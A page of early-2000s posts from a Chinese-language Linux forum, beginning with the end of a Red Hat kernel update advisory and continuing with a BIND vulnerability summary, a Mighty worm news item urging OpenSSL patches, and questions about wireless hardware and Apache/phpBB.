              ftp://updates.redhat.com/8.0/en/os/i386/kernel-source-2.4.18-18.8.0.i386.rpm
              ftp://updates.redhat.com/8.0/en/os/i386/kernel-doc-2.4.18-18.8.0.i386.rpm
              ftp://updates.redhat.com/8.0/en/os/i386/kernel-BOOT-2.4.18-18.8.0.i386.rpm

              i586:
              ftp://updates.redhat.com/8.0/en/os/i586/kernel-2.4.18-18.8.0.i586.rpm
              ftp://updates.redhat.com/8.0/en/os/i586/kernel-smp-2.4.18-18.8.0.i586.rpm

              i686:
              ftp://updates.redhat.com/8.0/en/os/i686/kernel-2.4.18-18.8.0.i686.rpm
              ftp://updates.redhat.com/8.0/en/os/i686/kernel-smp-2.4.18-18.8.0.i686.rpm
              ftp://updates.redhat.com/8.0/en/os/i686/kernel-bigmem-2.4.18-18.8.0.i686.rpm
              ftp://updates.redhat.com/8.0/en/os/i686/kernel-debug-2.4.18-18.8.0.i686.rpm
              ftp://updates.redhat.com/8.0/en/os/i686/kernel-uml-2.4.18-18.8.0.i686.rpm



              7. Verification:

              MD5 sum                          Package Name
              --------------------------------------------------------------------------
              7f8581e632826cafd7530109c79c19bb 7.1/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm
              e38b754b71fb5a091f3bce785c968724 7.1/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              0ab8f1aa236289f6c3c9c152cd578669 7.1/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm
              d16d76b77189d9da17481e9c0e0cc0ca 7.1/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              026e9c4a13ba2fd3fdd49eb9b2f432ea 7.1/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm
              02c6831a3e971fab22ecbb5f1e1a09f3 7.1/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              a81a5af709b40d713100a82124e7c0dd 7.1/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              fd20bdd2a82510eab8e8498fec0232fb 7.1/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              a1ed7b8fd3d6de8db0ec73b0b4e75f1d 7.1/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm
              d8adfe12ad67f8bac27339a450b97499 7.1/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ff7a46200b12e53e5092b9d889c7cb9c 7.1/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              61e83bb1999b8fa861fb98f41b8f46ef 7.1/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm
              20be5fba2e3ebe73c1126bb61fce6c43 7.1/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              7f8581e632826cafd7530109c79c19bb 7.2/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm
              e38b754b71fb5a091f3bce785c968724 7.2/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              0ab8f1aa236289f6c3c9c152cd578669 7.2/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm
              d16d76b77189d9da17481e9c0e0cc0ca 7.2/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              026e9c4a13ba2fd3fdd49eb9b2f432ea 7.2/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm
              02c6831a3e971fab22ecbb5f1e1a09f3 7.2/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              a81a5af709b40d713100a82124e7c0dd 7.2/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              fd20bdd2a82510eab8e8498fec0232fb 7.2/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              a1ed7b8fd3d6de8db0ec73b0b4e75f1d 7.2/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm
              d8adfe12ad67f8bac27339a450b97499 7.2/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ff7a46200b12e53e5092b9d889c7cb9c 7.2/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              61e83bb1999b8fa861fb98f41b8f46ef 7.2/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm
              20be5fba2e3ebe73c1126bb61fce6c43 7.2/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              7f8581e632826cafd7530109c79c19bb 7.3/en/os/SRPMS/kernel-2.4.18-18.7.x.src.rpm
              e38b754b71fb5a091f3bce785c968724 7.3/en/os/athlon/kernel-2.4.18-18.7.x.athlon.rpm
              0ab8f1aa236289f6c3c9c152cd578669 7.3/en/os/athlon/kernel-smp-2.4.18-18.7.x.athlon.rpm
              d16d76b77189d9da17481e9c0e0cc0ca 7.3/en/os/i386/kernel-2.4.18-18.7.x.i386.rpm
              026e9c4a13ba2fd3fdd49eb9b2f432ea 7.3/en/os/i386/kernel-BOOT-2.4.18-18.7.x.i386.rpm
              02c6831a3e971fab22ecbb5f1e1a09f3 7.3/en/os/i386/kernel-doc-2.4.18-18.7.x.i386.rpm
              a81a5af709b40d713100a82124e7c0dd 7.3/en/os/i386/kernel-source-2.4.18-18.7.x.i386.rpm
              fd20bdd2a82510eab8e8498fec0232fb 7.3/en/os/i586/kernel-2.4.18-18.7.x.i586.rpm
              a1ed7b8fd3d6de8db0ec73b0b4e75f1d 7.3/en/os/i586/kernel-smp-2.4.18-18.7.x.i586.rpm
              d8adfe12ad67f8bac27339a450b97499 7.3/en/os/i686/kernel-2.4.18-18.7.x.i686.rpm
              ff7a46200b12e53e5092b9d889c7cb9c 7.3/en/os/i686/kernel-bigmem-2.4.18-18.7.x.i686.rpm
              61e83bb1999b8fa861fb98f41b8f46ef 7.3/en/os/i686/kernel-debug-2.4.18-18.7.x.i686.rpm
              20be5fba2e3ebe73c1126bb61fce6c43 7.3/en/os/i686/kernel-smp-2.4.18-18.7.x.i686.rpm
              65f6590b550c8a0d0b04bb885c12368d 8.0/en/os/SRPMS/kernel-2.4.18-18.8.0.src.rpm
              946a8573a7af951a37f91bfbd445da07 8.0/en/os/athlon/kernel-2.4.18-18.8.0.athlon.rpm
              c31721f77fc44fd6bab38c75ff66fa17 8.0/en/os/athlon/kernel-smp-2.4.18-18.8.0.athlon.rpm
              6da80288107c7b7bb574c8aa47242e3b 8.0/en/os/i386/kernel-2.4.18-18.8.0.i386.rpm
              889397ada127361d19bb29c83eb33b57 8.0/en/os/i386/kernel-BOOT-2.4.18-18.8.0.i386.rpm
              9c91e050657805d547b1664ca55d7691 8.0/en/os/i386/kernel-doc-2.4.18-18.8.0.i386.rpm
              b99ffefa103eeb4d12ad6efae9cf4ef1 8.0/en/os/i386/kernel-source-2.4.18-18.8.0.i386.rpm
              93835d95e05a593fd86b497259d6a313 8.0/en/os/i586/kernel-2.4.18-18.8.0.i586.rpm
              6ba903e2c94ea619baf10ebffdfd9a15 8.0/en/os/i586/kernel-smp-2.4.18-18.8.0.i586.rpm
              41fea4a230a8989d16151fe21b38c9d4 8.0/en/os/i686/kernel-2.4.18-18.8.0.i686.rpm
              3b5aa2480f92f79b2a9f597a865dc6a5 8.0/en/os/i686/kernel-bigmem-2.4.18-18.8.0.i686.rpm
              6026588279d9871ffac63e15a9091563 8.0/en/os/i686/kernel-debug-2.4.18-18.8.0.i686.rpm
              b94e4989c4c28fab3fbe1fa8b79ea902 8.0/en/os/i686/kernel-smp-2.4.18-18.8.0.i686.rpm
              be0e87f588f1995d48ed72c3251d21be 8.0/en/os/i686/kernel-uml-2.4.18-18.8.0.i686.rpm


              These packages are GPG signed by Red Hat, Inc. for security.  Our key
              is available at http://www.redhat.com/about/contact/pgpkey.html

              You can verify each package with the following command:

                  rpm --checksig -v

              If you only wish to verify that each package has not been corrupted or
              tampered with, examine only the md5sum with the following command:

                  md5sum


              8. References:

              http://online.securityfocus.com/archive/1/299687/2002-11-11/2002-11-17/0

              9. Contact:

              The Red Hat security contact is .  More contact
              details at http://www.redhat.com/solutions/security/news/contact.html

              Copyright(c) 2000, 2001, 2002 Red Hat, Inc.

              23
              LinuxAid綜合報道,BIND(Berkeley Internet Name Domain Server) DNS伺服器被發現多個嚴重安全漏洞。這些漏洞幾乎影響到目前Internet上部署的所有DNS伺服器。

              受影響的版本

              BIND SIG Cached RR緩衝區溢出
              BIND 4.9.5到4.9.10
              BIND 8.1, 8.2到8.2.6, 8.3.0到8.3.3

              BIND OPT拒絕服務
                  BIND 8: 8.3.0到 8.3.3-REL

              BIND SIG Expiry Time拒絕服務
                  BIND 8:8.3.3-REL以及以前的版本

               

              簡介


              BIND SIG Cached RR緩衝區溢出


                在BIND4和BIND8中存在一個緩衝區溢出漏洞。在BIND的預設安裝中,一般都打開了遞歸功能。構造包含空間錯誤SIG記錄的一個響應,可以改寫named進程的緩衝區。通過這個漏洞,攻擊者可以以named的權限執行任何代碼。


              BIND OPT拒絕服務


                由於assertion失敗,支持遞歸的BIND8伺服器會被突然中斷。如果客戶向一個有效的域名查詢一個不存在的子域,在請求中包含一個具有大UDP負載容量的的OPT資源記錄,BIND8就會被中斷。這個漏洞也可以通過在權威DNS伺服器(authoritative DNS server)不可達的域上進行查詢來觸發。


              BIND SIG Expiry Time拒絕服務


                一個空的重複引用指針(null pointer dereference)也可以造成支持遞歸的BIND8伺服器宕機。一個控制任意權威DNS伺服器的攻擊者可以使存在漏洞的BIND8伺服器去緩存包含無效消失時間的SIG資源記錄。BIND伺服器會把這些記錄從自己的緩存資料庫中刪除,但是一些時間後又會錯誤地引用這些記錄,從而造成宕機。

              建議

                把自己的系統昇級到最新版本,ISC官方網站已經發佈了昇級程序。redhat等系統提供商也發佈了相關的安全建議。

              參考

              ISS Advisory:Multiple Remote Vulnerabilities in BIND4 and BIND8
              BIND Vulnerabilities

              各位可以到TWCERT去做DNS安全掃描,以確保你的DNS在安全上設定是沒有問題的

              24
              Network 討論版 / Wireless AP and Wireless Card
              « 於: 2002-11-11 11:38 »
              請問各位大大

              最近要幫老闆survey無線基地台和無線網卡,放置地點大約有10公尺,但是中間有水泥牆擋住,位置圖大約如下所示

              代碼: [選擇]

                                   |                      |
                       Site1       |   Site 2             |
                                   |                      |
              --------|  |-------------|  |---------------|
                                                          |
                                         ︽                |
                                          |               |
                                                          |
                                         10m              |
                                                          |
                                          |               |
                                         ︾               |
              -------------------------|  |---------------|
                                   |                      
                                   |        Site 3        |
                                   |                      |
                                   |                      |



              我可能會將AP放置在Site 2,但是怕訊號會不好,所以請問各位大大
              目前市面上有那一家的wireless AP和wireless card的穿透力較強(或是換天線)
              如果知道的話,請告訴我廠商名稱(如果有型號那是最好囉   ^^)

              謝啦.........感思哦~~~~~~

              25
              Linux 討論版 / RedHat出了新的認證了-RHCT-
              « 於: 2002-11-06 17:36 »
              Hi...Everybody

              RedHat出了新的認證了-RHCT-,有興趣的朋友趕快去考一考吧   :lol:

              RHCT的內容如下:
              http://www.redhat.com/about/presscenter/2002/press_rhct.html

              RHCT的課程內容如下:
              http://www.redhat.com/training/rhce/courses/

              26
              系統安全討論版 / Linux new worm-Mighty
              « 於: 2002-10-10 00:59 »
              目前網路上針對Linux又出現另外一隻Worm,名稱叫做Mighty,日前由俄羅斯病毒防治機構Kasperksy Labs所發佈消息

              Kasperksy Labs表示目前在世界各地大約已有1600台機器受到感染

              Mighty和Slapper worm一樣是利用OpenSSL的漏洞來進行攻擊,並且與Slapper.B和Slapper.C的傳播方式大同小異。

              Mighty也和Slapper一樣使用source code的方式,其中的一個組件(sslx.c)它是負責利用系統的漏洞來進入系統,在每台機器上重新進行compile來進行功擊

              Mighty也還會在受感染的機器上設置後門,透過Remote IRC通道來讓攻擊者進行操作。它就可以乘機竊取機器上的資訊,並利用受感染的機器來進行Dos攻擊。

              原文請參閱http://www.theage.com.au/articles/2002/10/08/1033538931238.html

              各位還沒修正OpenSSL的漏洞的朋友,趕快進快修補工作吧

              27
              酷!學園 精華區 / Httpd 2.0和phpBB的問題
              « 於: 2002-10-07 00:20 »
              Hi....everybody

              最近RH 8.0出來了,我就拿來測試裡面的http 2.0和php 4.2
              但是當我將phpBB移過去之後,我發現了一個問題,就是網頁似乎不會自動更新...操作步驟如下

              1.貼新文章
              2.確定文章已經寫到資料庫了,但是回到版面時,卻無法看到新文章。直到我按了Ctrl + F5之後,新文章出現了
              3.我回到apache 1.3 + php 4.1之後,就正常了

              請問各位高手,有可能是什麼問題................請賜教....Thanks :lol:

              頁: [1]